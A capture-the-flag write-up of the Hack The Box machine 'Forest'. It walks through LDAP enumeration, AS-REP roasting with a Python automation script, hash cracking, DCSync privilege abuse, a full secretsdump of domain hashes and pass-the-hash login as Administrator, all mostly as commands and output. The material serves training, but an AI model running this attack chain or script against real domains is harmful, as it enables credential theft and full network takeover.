HACKTHEBOX - FOREST
Link : https://app.hackthebox.eu/machines/Forest
Enumeration
Full nmap scan
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-02-17 14:52:39Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
|_ssl-ccs-injection: No reply from server (TIMEOUT)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
|_ssl-ccs-injection: No reply from server (TIMEOUT)
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
windapsearch.py --dc-ip 10.10.10.161 -u '' -p '' -U --full
Output Windapsearch
[+] No username provided. Will try anonymous bind.
[+] Using Domain Controller at: 10.10.10.161
[+] Getting defaultNamingContext from Root DSE
[+] Found: DC=htb,DC=local
[+] Attempting bind
[+] ...success! Binded as:
[+] None
[+] Enumerating all AD users
[+] Found 29 users:
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Guest
description: Built-in account for guest access to the computer/domain
distinguishedName: CN=Guest,CN=Users,DC=htb,DC=local
We will enumerate all objects with a more permissive LDAP filter
python3 windapsearch.py --dc-ip 10.10.10.161 -u '' -p '' --custom 'objectClass=*'
A service account?
CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local
Exploitation
AS-REP Roasting attack
Looking at the online documentation for this service, we see that it requires Kerberos pre-authentication to be disabled.
Kerberos is a protocol that implements strong authentication for accessing some services. Here is how a Kerberos authentication works in order to access a service:
-
(AS-REQ) Initial authentication: When a user wants to access a service on the network, they first connect to the Kerberos principal authenticator, called the "Key Distribution Center" (KDC).
-
(AS-REP) Get a TGT (Ticket Granting Ticket): The KDC verifies the user's credentials and issues them a TGT. This ticket is encrypted with a secret key derived from the user's password, meaning it can only be decrypted by the KDC and the user.
-
(TGS-REQ) Request access to a service: The user sends a TGS-REQ (Ticket Granting Service Request) to the KDC, using the previously obtained TGT.
-
(TGS-REP) Get a Service Ticket: The KDC responds to the TGS-REQ by sending an encrypted Service Ticket, using a TGS-REP (Ticket Granting Service Reply) response.
-
Access the service: The user sends the Service Ticket to the requested service. The service decrypts the ticket using its own key and verifies the user's identity with the KDC. If all is good, access is granted and the user can use the service without having to re-provide their credentials.
Step | Description | Object obtained | Purpose |
---|---|---|---|
AS-REQ | Initial authentication: The user connects to the Kerberos principal authenticator, the Key Distribution Center. | - | - |
AS-REP | Get a TGT (Ticket Granting Ticket): The KDC verifies the user's credentials and issues a TGT. This ticket is encrypted with a key derived from the user's password. | TGT | The TGT is used by the user to prove their identity to the KDC when requesting additional service tickets without re-authenticating their password each time. It is used to obtain Service Tickets to access services. |
TGS-REQ | Request access to a service: The user sends a TGS-REQ to the KDC, using the previously obtained TGT. | - | - |
TGS-REP | Get a Service Ticket: The KDC responds with an encrypted Service Ticket, using a TGS-REP response. | Service Ticket | The Service Ticket is used by the user to prove their identity to the requested service. It allows the user to access the service without revealing their credentials directly to the service. |
Access service | The user sends the Service Ticket to the service. The service decrypts it and verifies the user's identity with the KDC before granting access. | - | - |
Kerberos pre-authentication is a mechanism, enabled by default, that requires AS-REP requests to be encrypted with the user's NTLM password. This allows the KDC to verify the user's authenticity before sending the TGT.
However, 2 possible (and likely) cases cause this mechanism to be disabled:
The service account requires it, and consequently, the service behind it too The account was created before Windows 2008, and was not changed during AD migrations
Removing this mechanism allows us to request a TGT without providing the password. We will use the excellent impacket suite for this.
GetNPUsers Output
GetNPUsers.py htb.local/svc-alfresco -dc-ip 10.10.10.161
Password: [rentrez n'importe quel mot de passe]
[*] Cannot authenticate svc-alfresco, getting its TGT
[email protected]:356dd11820eeacb080967c314c9f51af$ae4d946178184d86f4d32ff23a1610feded555c676adecef87dd16b9481a935c66a2687efdb451cfed979942c71ae2fb98e1f0b6519afb215a5ad812efb8b87542f9bac069a6bd2454cbc6f8ac1ee52df93dabd2c21b8c5bd26d3ab2888810012fd8e7d061898e39c3119574867514a0b073195d8bb1ffb4c346505c346e45e7e00353621057b2b4251d5b02661b988092743e351de588653878bb22327307f51289edc786653028c853db9ed19f06a122a3bd7784f5acf0428281018ba4b662576b62c75a1475d8e15b1af440f32439af6a6a7be4d7855694b14a828404ac8d78d4e99831f0
We can copy the hash into a file, and crack it with hashcat:
Hashcat Output
hashcat -m 18200 --force -a 0 hashes.asreproast /usr/share/wordlists/rockyou.txt
[email protected]@HTB.LOCAL:e042cadf10b1c7687317cf24074657ef$10f4eba89781a81fb4a2cd61919f61c32e7e7981a56eb22c0ed4cc74ff2cddead68af8bd79e269f049649b522b9abfc13c529e7b01d2bc785925689c63a8da937665c4728edef755a61f5320eaae6908d486108334d3f5104b8fe2c2ac9ceae906d28db4fae9e2fdf72918b40ff7997eae4c8e561fb5b16d4e2bd67fb342d213b08e4bd7509dbc52223467e491fa819b4047d0d5422906f893f8984c9943bbe036986dc5e5f0d925b2770676540c4746b72220f97940e79fc8ccd02ea55d3eb2fa14a150b7b197e7f2d5ce6ea5ee4c1a1ce1b41b1a78bef80d3efc34cf7b051f92f40f5058d6:s3rvice
The password obtained is: s3rvice
We can then connect with evil-winRM :
evil-winrm -i 10.10.10.161 -u '[email protected]' -p 's3rvice'
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>
Script for AD-REP roasting
We can also do this via a script:
import argparse
import time
import subprocess
from ldap3 import Server, Connection, ALL_ATTRIBUTES
import re
def extract_tgt_info(output):
# Use regular expressions to extract info from the TGT
tgt_info_pattern = re.compile(r"\*\* ([^\n]*)")
tgt_info = tgt_info_pattern.findall(output)
return tgt_info
def query_login_names(ad_host, ad_user, ad_password, ad_base_dn, ad_domain):
# Set up the LDAP server
server = Server(ad_host, get_info=ALL_ATTRIBUTES)
# Establish a connection with the server
conn = Connection(server, user=ad_user, password=ad_password, auto_bind=True)
# Define search settings to only show entries with the objectClass attribute set and exclude organizational units
search_filter = '(&(objectClass=person))'
attributes = ['samAccountName']
# Perform the search
conn.search(ad_base_dn, search_filter, attributes=attributes)
# Process the search results and make the AS-REP TGT request for each user account
if conn.entries:
for entry in conn.entries:
login_name = entry['samAccountName'].value
if login_name:
print("Username:", login_name)
# Make the AS-REP TGT request using impacket's GetNPUsers.py
spn = f"{ad_domain}/{login_name}"
cmd = f"GetNPUsers.py '{ad_domain}/{login_name}' -dc-ip {ad_host} -no-pass -format john "
try:
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
tgt_info = extract_tgt_info(result.stdout)
if tgt_info:
for tgt in tgt_info:
print(tgt)
else:
error_lines = result.stdout.strip().split('\n')
if error_lines:
print("Failed to get AS-REP TGT for", login_name)
print(error_lines[-1])
else:
print("Failed to get AS-REP TGT for", login_name)
print("Error:", result.stdout)
except Exception as e:
print("Failed to get AS-REP TGT for", login_name)
print( str(e))
# Add a 5 second pause before making the TGT request for the next user
time.sleep(5)
else:
print("No objects found.")
# Close the connection
conn.unbind()
def parse_arguments():
parser = argparse.ArgumentParser(description="Query user names from Active Directory and make the AS-REP TGT request.")
parser.add_argument("--ad_host", required=True, help="The IP address or hostname of the Active Directory server.")
parser.add_argument("--ad_user", required=True, help="The user name to bind to Active Directory.")
parser.add_argument("--ad_password", required=True, help="The password of the Active Directory user.")
parser.add_argument("--ad_base_dn", required=True, help="The base DN of Active Directory.")
parser.add_argument("--ad_domain", required=True, help="The Active Directory domain name.")
return parser.parse_args()
if __name__ == "__main__":
args = parse_arguments()
query_login_names(args.ad_host, args.ad_user, args.ad_password, args.ad_base_dn, args.ad_domain)
Make sure to install the "ldap3" library
This script will be useful if you want to do AS-REP roasting and already have an LDAP account to browse the AD.
For this box, the script will not work because the devs decided to remove read rights on the "svc-alfresco" object (likely to complicate exploitation of the first user)
- Information obtained via the null account
ldapsearch -x -H ldap://10.10.10.161 -D '' -w '' -b "DC=htb,DC=local" '(&(objectClass=*))'
# svc-alfresco, Service Accounts, htb.local
dn: CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local
- Information obtained via the svc-alfresco account
ldapsearch -x -H ldap://10.10.10.161 -D 'svc-alfresco' -w 's3rvice' -b "DC=htb,DC=local" '(&(objectClass=*))'
# svc-alfresco, Service Accounts, htb.local
dn: CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: svc-alfresco
givenName: svc-alfresco
distinguishedName: CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local
instanceType: 4
whenCreated: 20190920005851.0Z
whenChanged: 20230721232954.0Z
displayName: svc-alfresco
uSNCreated: 26083
memberOf: CN=Service Accounts,OU=Security Groups,DC=htb,DC=local
uSNChanged: 7766888
name: svc-alfresco
<SNIP>
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAALB4ltxV1shXFsPNPewQAAA==
adminCount: 1
accountExpires: 0
logonCount: 14
sAMAccountName: svc-alfresco
sAMAccountType: 805306368
userPrincipalName: [email protected]
<SNIP>
This being said, the script will work well in other, more "realistic" contexts.
Privilege escalation
We use bloodhound as usual to get an overview of the AD:
- Ownership of svc-alfresco
We see that it is a member of the "Account Operator" group. We can check what this group can do.
- Reachable high value targets from "Account operator"
We see that the "Account Operator" group has "GenericAll" rights (meaning it can do anything) on the "Exchange Windows Permissions" group. So we can add members to this group, including ourselves.
This last group has "WriteDACL" rights on the domain. So we can add rights to our account to make it a domain admin.
- Create an account victorhin0 with password "bonjour":
New-ADUser -Name "victorhin0" -AccountPassword (ConvertTo-SecureString "bonjour" -AsPlainText -Force) -Enabled $true -ChangePasswordAtLogon $false -PasswordNeverExpires $true -Path "OU=Service Accounts,DC=htb,DC=local"
- Add victorhin0 to the "Exchange Windows Permissions" group:
Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members "victorhin0"
- Add the "DC-Sync" privilege to victorhin0:
To run the next commands, you must import the PowerView.ps1 module from Powersploit (available here https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
To import it:
powershell
Import-Module ./PowerView.ps1
To verify, you can run "Get-Command Add-ObjectACL" and you should see the command.
$Password = ConvertTo-SecureString "bonjour" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential("htb.local\victorhin0", $Password)
Add-ObjectACL -PrincipalIdentity victorhin0 -Credential $Credential -Rights DCSync -Verbose
DCSync is a right on ActiveDirectory that allows an account or computer with this right to access the replication data of the Active Directory's Directory Service (Directory Replication Service, DRS).
- Retrieve the domain admin's NTLM hash with secretsdump.py:
SecretDump output
secretdump.py -just-dc-ntlm htb.local/victorhin0:[email protected]
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
<SNIP>
htb.local\sebastien:1145:aad3b435b51404eeaad3b435b51404ee:96246d980e3a8ceacbf9069173fa06fc:::
htb.local\lucinda:1146:aad3b435b51404eeaad3b435b51404ee:4c2af4b2cd8a15b1ebd0ef6c58b879c3:::
htb.local\svc-alfresco:1147:aad3b435b51404eeaad3b435b51404ee:9248997e4ef68ca2bb47ae4e6f128668:::
htb.local\andy:1150:aad3b435b51404eeaad3b435b51404ee:29dfccaf39618ff101de5165b19d524b:::
htb.local\mark:1151:aad3b435b51404eeaad3b435b51404ee:9e63ebcb217bf3c6b27056fdcb6150f7:::
htb.local\santi:1152:aad3b435b51404eeaad3b435b51404ee:483d4c70248510d8e0acb6066cd89072:::
victorhin0:9601:aad3b435b51404eeaad3b435b51404ee:a88baa3fdc8f581ee0fb05d7054d43e4:::
FOREST$:1000:aad3b435b51404eeaad3b435b51404ee:0f7b3e5e5ff5072434741c5201394592:::
EXCH01$:1103:aad3b435b51404eeaad3b435b51404ee:050105bb043f5b8ffc3a9fa99b5ef7c1:::
[*] Kerberos keys grabbed
htb.local\Administrator:aes256-cts-hmac-sha1-96:910e4c922b7516d4a27f05b5ae6a147578564284fff8461a02298ac9263bc913
htb.local\Administrator:aes128-cts-hmac-sha1-96:b5880b186249a067a5f6b814a23ed375
htb.local\Administrator:des-cbc-md5:c1e049c71f57343b
krbtgt:aes256-cts-hmac-sha1-96:9bf3b92c73e03eb58f698484c38039ab818ed76b4b3a0e1863d27a631f89528b
krbtgt:aes128-cts-hmac-sha1-96:13a5c6b1d30320624570f65b5f755f58
krbtgt:des-cbc-md5:9dd5647a31518ca8
htb.local\sebastien:aes256-cts-hmac-sha1-96:fa87efc1dcc0204efb0870cf5af01ddbb00aefed27a1bf80464e77566b543161
htb.local\sebastien:aes128-cts-hmac-sha1-96:18574c6ae9e20c558821179a107c943a
htb.local\sebastien:des-cbc-md5:702a3445e0d65b58
htb.local\lucinda:aes256-cts-hmac-sha1-96:acd2f13c2bf8c8fca7bf036e59c1f1fefb6d087dbb97ff0428ab0972011067d5
htb.local\lucinda:aes128-cts-hmac-sha1-96:fc50c737058b2dcc4311b245ed0b2fad
htb.local\lucinda:des-cbc-md5:a13bb56bd043a2ce
htb.local\svc-alfresco:aes256-cts-hmac-sha1-96:46c50e6cc9376c2c1738d342ed813a7ffc4f42817e2e37d7b5bd426726782f32
htb.local\svc-alfresco:aes128-cts-hmac-sha1-96:e40b14320b9af95742f9799f45f2f2ea
htb.local\svc-alfresco:des-cbc-md5:014ac86d0b98294a
htb.local\andy:aes256-cts-hmac-sha1-96:ca2c2bb033cb703182af74e45a1c7780858bcbff1406a6be2de63b01aa3de94f
htb.local\andy:aes128-cts-hmac-sha1-96:606007308c9987fb10347729ebe18ff6
htb.local\andy:des-cbc-md5:a2ab5eef017fb9da
htb.local\mark:aes256-cts-hmac-sha1-96:9d306f169888c71fa26f692a756b4113bf2f0b6c666a99095aa86f7c607345f6
htb.local\mark:aes128-cts-hmac-sha1-96:a2883fccedb4cf688c4d6f608ddf0b81
htb.local\mark:des-cbc-md5:b5dff1f40b8f3be9
htb.local\santi:aes256-cts-hmac-sha1-96:8a0b0b2a61e9189cd97dd1d9042e80abe274814b5ff2f15878afe46234fb1427
htb.local\santi:aes128-cts-hmac-sha1-96:cbf9c843a3d9b718952898bdcce60c25
htb.local\santi:des-cbc-md5:4075ad528ab9e5fd
victorhin0:aes256-cts-hmac-sha1-96:7ffa44d8e94f66624e9704d5a10f55746b9280e4b4485ac1c3213800bdc26bf4
victorhin0:aes128-cts-hmac-sha1-96:8b7c3e959a8bd05708487fa600cc082b
victorhin0:des-cbc-md5:b938c1199775c1ae
FOREST$:aes256-cts-hmac-sha1-96:0845a38da2e6771274ac59f78493430b72a42a87d9f09328e7c711de50121f2d
FOREST$:aes128-cts-hmac-sha1-96:5d7bbd191e7d0ee0774a68ce413711d2
FOREST$:des-cbc-md5:07e679519245f292
EXCH01$:aes256-cts-hmac-sha1-96:1a87f882a1ab851ce15a5e1f48005de99995f2da482837d49f16806099dd85b6
EXCH01$:aes128-cts-hmac-sha1-96:9ceffb340a70b055304c3cd0583edf4e
EXCH01$:des-cbc-md5:8c45f44c16975129
[*] Cleaning up...
SecretDump is a tool that uses DRSUAPI (Directory Replication Service Remote Protocol). This protocol is used when a DC needs to replicate its data to another DC. It is therefore possible to retrieve AD data using this protocol.
Connection via PTH
Finally, we can use the obtained administrator hash to do a PtH (Pass the Hash):
evil-winrm -i 10.10.10.161 -u '[email protected]' -H "32693b11e6aa90eb43d32c72a07ceea6"